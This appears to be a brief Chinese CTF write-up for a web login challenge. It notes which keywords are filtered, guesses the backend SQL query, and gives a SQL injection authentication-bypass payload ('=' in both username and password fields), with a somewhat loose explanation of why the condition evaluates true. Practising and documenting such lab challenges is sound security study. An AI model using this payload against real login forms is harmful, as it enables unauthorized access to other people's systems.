登陆一下好吗 SQL

地址：http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

参考资料：https://blog.csdn.net/wy_97/article/details/75635661 https://blog.csdn.net/qq_35078631/article/details/54782596
补充资料：https://blog.csdn.net/LANVNAL/article/details/56965963

分析： * / select union or 都被过滤

猜测后台查询语句：$sql = “select user from flag where user=’\$_POST[‘user’]’ and password=’\$_POST[‘password’]’”;

当
username:1
password:1
时

$sql ="select user from flag where user='1' and password='1' "; 

目前的目的是成功登陆，即SQL查询不报错

构造：
username:’=’
password:’=’

效果：$sql ="select user from flag where user='NULL'='NULL' and password='NULL'='NULL' "; 【单引号中的内容为空，条件成立，未报错】【万能密码】